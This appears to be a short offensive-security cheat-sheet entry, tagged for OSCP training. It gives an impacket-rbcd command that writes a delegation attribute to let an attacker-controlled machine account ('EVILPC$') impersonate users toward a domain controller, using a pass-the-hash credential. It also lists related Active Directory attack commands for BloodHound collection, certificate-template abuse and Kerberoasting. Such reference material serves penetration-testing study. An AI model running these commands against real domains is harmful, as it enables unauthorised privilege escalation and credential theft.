impacket-rbcd -dc-ip $IP -action write -delegate-to "$DC$" -delegate-from "EVILPC$" -hashes :$HASH $DOMAIN/$USER

• Linux
• oscp
• cli
• LDAP
• PrivEsc

Write RBCD (Resource-Based Constrained Delegation) attribute to a machine account.

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• uv run bloodhound.py -u $USER -p $PASSWORD -d $DOMAIN -v --zip -c A...
• bloodyAD --host $IP -d $DOMAIN -u $USER -p $PASSWORD get writable -...
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• uv run gtfobinsuid.py
• impacket-GetUserSPNs -dc-ip $IP $DOMAIN/$USER:$PASSWORD